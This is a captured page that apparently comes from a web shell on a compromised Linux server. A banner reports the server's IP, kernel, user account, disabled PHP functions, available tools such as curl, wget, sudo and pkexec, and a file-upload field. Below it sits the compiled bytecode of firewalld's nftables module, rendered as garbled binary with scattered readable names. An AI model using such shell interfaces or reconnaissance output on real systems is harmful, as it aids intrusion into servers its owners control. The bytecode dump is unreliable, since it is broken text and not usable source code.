Server IP : 23.254.227.96 / Your IP : 216.73.216.7 Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64 User : viralblo ( 1001) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.6/site-packages/firewall/core/__pycache__/ |
Upload File : |
3 K�]b]� � % @ sN d dl mZ d dlZd dlZd dlZd dlmZ d dlmZm Z m Z mZmZ d dl mZmZmZmZmZmZmZ d dlmZmZmZmZmZmZmZ d dlmZ dZed d Z dZ!dZ"d dd@e" fid ddAe" fiddBe" fdde" fd�dd e" fdd e" fdd e" fd�d�Z#dCdd�Z$e$ddd�e$dd�e$dd�e$dd�e$ddd �e$ddd!�e$ddd�e$dd"d#�e$ddd$�e$ddd#�e$dd%d#�e$ddd&�e$dd"d �e$ddd'�e$ddd �e$dd%�e$ddd(�e$ddd)�e$ddd*�e$dd"�e$dd%d#�e$dd+�e$dd,�e$dd-�e$ddd.�e$dd/�e$dd0�e$dd1�e$dd"d(�e$ddd2�e$dd"d*�e$ddd3�e$dd/d#�e$dd/d �d4�"e$d5dd(�e$d5d%d �e$d5dd*�e$d5dd#�e$d5d�e$d5d�e$d5d�e$d5dd.�e$d5d6�e$d5d7�e$d5dd �e$d5d8�e$d5d%�e$d5dd �e$d5d9�e$d5dd'�e$d5d:�e$d5d;�e$d5d/�e$d5d/d#�e$d5d/d �e$d5d%d#�e$d5d%d*�d<�d=�Z%G d>d?� d?e&�Z'dS )D� )�absolute_importN)�log)� check_mac�getPortRange�normalizeIP6�check_single_address� check_address)� FirewallError� UNKNOWN_ERROR�INVALID_RULE�INVALID_ICMPTYPE�INVALID_TYPE� INVALID_ENTRY�INVALID_PORT)�Rich_Accept�Rich_Reject� Rich_Drop� Rich_Mark�Rich_Masquerade�Rich_ForwardPort�Rich_IcmpBlock)�NftablesZ firewalld�_Zpolicy_dropZpolicy_� � PREROUTING� preroutingi, � �d Zpostrouting)r �POSTROUTING�input�forward�output)�INPUT�FORWARD�OUTPUT)�raw�mangle�nat�filterc C sH dd| dd�id|d�ig}|d k rD|j dd| dd�id|d�i� |S )N�match�payload�type)�protocol�fieldz==)�left�op�right�code)�append)r, r+ r1 � fragments� r4 �/usr/lib/python3.6/nftables.py�_icmp_types_fragmentsR s r6 �icmpzdestination-unreachable� z echo-replyzecho-request� � �redirect� � zparameter-problem� � � � � zrouter-advertisementzrouter-solicitationz source-quench� z time-exceededztimestamp-replyztimestamp-request� � )"zcommunication-prohibitedzdestination-unreachablez echo-replyzecho-requestzfragmentation-neededzhost-precedence-violationzhost-prohibitedz host-redirectzhost-unknownzhost-unreachablez ip-header-badznetwork-prohibitedznetwork-redirectznetwork-unknownznetwork-unreachablezparameter-problemzport-unreachablezprecedence-cutoffzprotocol-unreachabler; zrequired-option-missingzrouter-advertisementzrouter-solicitationz source-quenchzsource-route-failedz time-exceededztimestamp-replyztimestamp-requestztos-host-redirectztos-host-unreachableztos-network-redirectztos-network-unreachablezttl-zero-during-reassemblyzttl-zero-during-transit�icmpv6znd-neighbor-advertznd-neighbor-solicitzpacket-too-bigznd-redirectznd-router-advertznd-router-solicit)zaddress-unreachablez bad-headerzbeyond-scopezcommunication-prohibitedzdestination-unreachablez echo-replyzecho-requestz failed-policyzneighbour-advertisementzneighbour-solicitationzno-routezpacket-too-bigzparameter-problemzport-unreachabler; zreject-routezrouter-advertisementzrouter-solicitationz time-exceededzttl-zero-during-reassemblyzttl-zero-during-transitzunknown-header-typezunknown-option)�ipv4�ipv6c @ sX e Zd Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� Z dd � Z dd� Zd�dd�Zdd� Z dd� Zdd� Zd�dd�Zdd� Zd�dd�Zd d!� Zd�d#d$�Zd�d&d'�Zd�d(d)�Zd�d*d+�Zd,d-� Zd.d/� Zd0d1� Zd2d3� Zd4d5� Zd6d7� Zd8d9� Zd:d;� Zd<d=� Z d>d?� Z!d@dA� Z"dBdC� Z#dDdE� Z$dFdG� Z%d�dHdI�Z&dJdK� Z'dLdM� Z(dNdO� Z)dPdQ� Z*d�dRdS�Z+d�dTdU�Z,d�dVdW�Z-dXdY� Z.d�dZd[�Z/d�d\d]�Z0d�d^d_�Z1d�d`da�Z2d�dbdc�Z3ddde� Z4d�dfdg�Z5dhdi� Z6d�djdk�Z7dldm� Z8dndo� Z9dpdq� Z:drds� Z;d�dtdu�Z<d�dvdw�Z=dxdy� Z>d�dzd{�Z?d|d}� Z@d~d� ZAd�d�� ZBd�d�� ZCd�d�� ZDd�d�� ZEd�d�� ZFd�d�d��ZGdS )��nftablesTc C sb || _ d| _g | _i | _i | _i | _i | _i | _g g g d�| _t � | _ | j jd� | j jd� d S )NT)�inet�ip�ip6) �_fwZrestore_command_existsZavailable_tables�rule_to_handle�rule_ref_count�rich_rule_priority_counts�policy_priority_counts�zone_source_index_cache�created_tablesr rI Zset_echo_outputZset_handle_output)�self�fwr4 r4 r5 �__init__� s znftables.__init__c C s� xdD ]}||krP qW d|| d kr`|| d d d || d d d f}|| d d= n(d|| d kr�d }|| d d= nd S || d d }|r�|dkr�||kr�||| kr�|| j |� n�|dk�r�||kr�g ||<